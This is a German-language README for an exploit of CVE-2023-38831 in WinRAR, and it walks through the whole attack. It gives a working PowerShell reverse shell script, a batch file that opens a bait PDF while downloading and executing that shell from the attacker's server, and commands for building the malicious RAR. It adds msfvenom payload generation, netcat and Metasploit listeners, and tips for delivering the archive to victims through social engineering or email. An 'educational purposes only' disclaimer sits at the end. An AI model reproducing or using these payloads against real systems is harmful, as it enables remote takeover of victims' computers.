
Dieses Projekt enthält ein Python-Skript, das **CVE-2023-38831** ausnutzt, eine Schwachstelle in **WinRAR**-Versionen vor 6.23. Der Exploit erzeugt ein **bösartiges RAR-Archiv**, das die Ausführung beliebigen Codes auslöst, wenn das Opfer eine harmlos aussehende Datei im Archiv öffnet (z. B. eine PDF).
technical_corpDieses Projekt enthält ein Python-Skript, das CVE-2023-38831 ausnutzt, eine Schwachstelle in WinRAR-Versionen vor 6.23. Der Exploit erzeugt ein bösartiges RAR-Archiv, das die Ausführung von beliebigem Code auslöst, wenn das Opfer eine harmlos aussehende Datei im Archiv (z. B. eine PDF) öffnet. Die Schwachstelle wurde von April bis August 2023 aktiv in freier Wildbahn ausgenutzt.
CVE-2023-38831 ist eine Schwachstelle in WinRAR, die es Angreifern ermöglicht, beliebigen Code auszuführen, wenn das Opfer ein Archiv öffnet, das sowohl eine harmlose Datei als auch einen bösartigen Ordner mit demselben Namen enthält. Wenn der Benutzer mit der harmlosen Datei interagiert, verarbeitet WinRAR fälschlicherweise den Inhalt des bösartigen Ordners und führt die Nutzlast des Angreifers aus.
.bat- oder .exe-Datei) enthält.git clone https://github.com/technical_corp/CVE-2023-38831-Exploit.git
cd CVE-2023-38831-Exploit
Wir verwenden eine Batch-Datei, die in einem .rar-Archiv eingebettet ist, um eine gehostete PowerShell-Reverse-Shell herunterzuladen und auszuführen.
Erstellen Sie das PowerShell-Reverse-Shell-Skript:
Speichern Sie das folgende PowerShell-Skript als reverse.ps1 auf Ihrem Kali-Linux-Rechner:
$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<attacker_port>);
$stream = $client.GetStream();
[byte[]]$buffer = 0..65535|%{0};
while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
Ersetzen Sie <attacker_ip> durch die IP-Adresse Ihres Kali-Linux-Rechners.
Ersetzen Sie <attacker_port> durch die Portnummer, auf der Sie lauschen werden.
Hosten Sie das PowerShell-Skript auf Ihrem Kali-Linux-Rechner:
Navigieren Sie zu dem Ordner, in dem das PowerShell-Skript gespeichert ist:
cd /path/to/powershell-script
Verwenden Sie den HTTP-Server von Python, um die Datei auf Port 80 zu hosten:
python3 -m http.server 80
Dadurch ist reverse.ps1 unter http://<attacker_ip>/reverse.ps1 verfügbar.
Erstellen Sie eine Batch-Datei (script.bat), die die PowerShell-Reverse-Shell herunterlädt und ausführt:
@echo off
:: Open the legitimate PDF
start bait.pdf
:: Download and execute the PowerShell script
powershell -Command "Invoke-WebRequest -Uri 'http://<attacker_ip>/reverse.ps1' -OutFile 'C:\Users\Public\reverse.ps1'; Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -File C:\Users\Public\reverse.ps1' -NoNewWindow"
exit
Verwenden Sie das CVE-2023-38831-Exploit-Skript, um die Batch-Datei einzubetten:
Führen Sie das WinRAR-Exploit-Skript aus, um die Batch-Datei in eine legitime PDF einzubetten:
python3 CVE-2023-38831-WinRar-Exploit.py -b legitimate.pdf -p script.bat -o POC.rar
Dieser Befehl erstellt die Datei POC.rar, die script.bat enthält, welche die Reverse-Shell ausführt.
Starten Sie einen Netcat-Listener, um die Reverse-Shell zu empfangen:
nc -lvnp <attacker_port>
Sobald das Opfer die POC.rar öffnet und die PDF-Datei ausführt, wird die script.bat ausgelöst. Das Skript lädt die PowerShell-Reverse-Shell von Ihrem Server herunter und führt sie aus. Sie erhalten eine Reverse-Shell-Verbindung auf Ihrem Netcat-Listener.
Generieren Sie eine Nutzlast (falls Sie Metasploit verwenden): Sie können mit msfvenom eine Reverse-Shell-Nutzlast erstellen:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=<attacker_port> -f exe > payload.exe
Verschieben Sie die erstellte Datei payload.exe in das CVE-2023-WinRAR-Exploit-Verzeichnis
Führen Sie den Exploit-Generator aus: Führen Sie das Python-Skript aus, um eine bösartige RAR-Datei zu erzeugen:
python cve-2023-38831-exploiter.py -b nmapcheatsheet.pdf -p payload.exe -o POC.rar
-b: Geben Sie die Köderdatei an (z. B. nmapcheatsheet.pdf). -p: Geben Sie die Nutzlastdatei an (z. B. script.bat oder payload.exe). -o: Geben Sie den Namen der Ausgabedatei an (z. B. POC.rar).
Liefern Sie die RAR-Datei an das Opfer: Die erzeugte Datei malicious_archive.rar kann über Social Engineering, E-Mail-Anhänge oder File-Sharing-Plattformen an das Opfer geliefert werden.
Richten Sie einen Listener ein (falls Sie Metasploit verwenden): Richten Sie auf Ihrem Angreifer-Rechner einen Listener ein, um die Reverse-Shell zu empfangen:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker_IP>
set LPORT <attacker_port>
exploit
Der Angreifer liefert eine bösartige RAR-Datei an das Opfer. Das Opfer öffnet die Köderdatei (z. B. nmapcheatsheet.pdf), wodurch die Nutzlast still ausgelöst wird. Die Nutzlast (z. B. eine Reverse-Shell) wird im Hintergrund ausgeführt und verschafft dem Angreifer die Kontrolle über das System des Opfers.
Dieses Projekt dient ausschließlich Bildungszwecken. Der Autor übernimmt keine Verantwortung für einen Missbrauch dieses Exploits. Es sollte nur in autorisierten Umgebungen oder in Penetrationstest-Szenarien mit vollständiger Einwilligung verwendet werden.